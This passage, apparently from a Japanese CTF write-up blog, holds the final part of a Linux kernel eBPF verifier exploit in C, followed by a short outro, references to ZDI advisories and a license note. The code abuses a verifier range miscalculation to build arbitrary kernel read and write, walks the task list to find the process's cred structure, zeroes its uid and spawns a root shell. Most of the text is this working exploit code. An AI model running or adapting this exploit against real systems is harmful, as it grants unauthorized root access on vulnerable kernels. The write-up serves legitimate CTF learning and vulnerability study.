	kernbase = _map_array - 0xE168C0;
	const unsigned long _init_task =   kernbase + 0x1211780;
	const unsigned long addr_map_ops = kernbase + 0x0E168C0;
	printf("[+] kernbase: %llx\n", kernbase);
	printf("[+] init_task: %llx\n", _init_task);

	// prepare AAR
  const struct bpf_insn aar_insns[] = {

    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),      // r6 = cmap[0] (==0)

    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),      // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),      // r7 = cmap[1] (==1)

    /* get cmap[2] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 2),      // qword[r2] = 2
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 2)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0),      // r9 = cmap[2] (==target addr)

    /* exploit r1 range */
    BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),					// r6 &= 1
    BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63),				// r6 s<< 63
    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),				// r6 s>> 63
		BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1),					// r7 &= 1
		BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),	// r6 += r7
		/* now, r6 is regarded as (0,0), but actually (0, -1) */
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300),			// r6 *= 0x150 (still regarded as 0)

    /* get readermap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, reader_map),    	// r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(rmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),      // r8 = &rmap[0]

		/* make point R8 to target */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),				// r8 == &rmap[0] now
		BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, diff_btf_val),			// r8 == &map.btf

		/* overwrite bpf_map.btf */
		BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

    /* Go home */
    BPF_MOV64_IMM(BPF_REG_0, 0),                    // r0 = 0
    BPF_EXIT_INSN()
  };
  aar_trigger = create_filtered_socket_fd(aar_insns, ARRSIZE(aar_insns));


	// task traversal
  /****
  /  912      |    16 /    struct list_head {
  /  912      |     8 /        struct list_head *next;
  /  920      |     8 /        struct list_head *prev;
                            } tasks;
  / 1168      |     4 /    pid_t pid;
  / 1584      |     8 /    const struct cred *cred;
   ****/
  unsigned long cur_task = _init_task;
  pid_t cur_pid;
  pid_t mypid = getpid();

  for(int ix=0; ix!=0x10; ++ix){
    printf("[.] searching %llx for pid %d...  ", cur_task, mypid);
    cur_pid = aar32(cur_task + 1168);
    if(cur_pid == mypid){
      printf("\n[!] pid found\n");
			printf("[!] my task @ %llx\n", cur_task);
      break;
    }else{
      printf("  not found (pid is %d)\n", cur_pid);
    }
    cur_task = aar64(cur_task + 920) - 912;
  }
	const unsigned long long mycred = aar64(cur_task + 1584);
	printf("[!] my cred @ %llx\n", mycred);

	// leak writer_map's addr
	const unsigned long files = aar64(cur_task + 1656);
	const unsigned long writer_map_file = aar64(files + 160 + writer_map * 8);
	const unsigned long writer_map_addr = aar64(writer_map_file + 200) + 0xD0;
	printf("[!] writer_map @ %llx\n", writer_map_addr);


	// overwrite my task.cred.uid with 0
	copy_map_ops(writer_map, addr_map_ops);
	printf("GOING...\n");
	aaw32zero(mycred + 4, 0, writer_map_addr);
	printf("[!] OVERWROTE UID\n");

	// check it
	unsigned int ruid, euid, suid;
	getresuid(&ruid, &euid, &suid);
	setresuid(0, 0, 0);

	// NIRUGIRI
	NIRUGIRI();

	return 0;
}

 

 

10: アウトロ

f:id:smallkirby:20210131210128p:plain

ぱうんぱうんぷりん

TWの問題、特にkernel問題は、去年も思いましたが面白くて勉強になるので好きです。

因みにこの問題は2020年の12/31に解こうとしたのですが、tnumの更新の細かいところを認識できていなくてかなり時間を潰してしまい嫌になったので放置していました。ちゃんと解けて良かったです。

 

 

11: 参考

1: 【A】ZDI: AAWの参考

https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification

2: 【B】ZDI: verifier exploit

https://www.thezdi.com/blog/2021/1/18/zdi-20-1440-an-incorrect-calculation-bug-in-the-linux-kernel-ebpf-verifier

3: 【C】作問者様のTwitter

https://twitter.com/Ga_ryo_/status/1307846886850609152?s=20

4: 【D】日本語で一番丁寧っぽい

https://mmi.hatenablog.com/entry/2017/09/01/173735

5: 【Z】ニルギリ

https://www.youtube.com/watch?v=yvUvamhYPHw

 

 

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.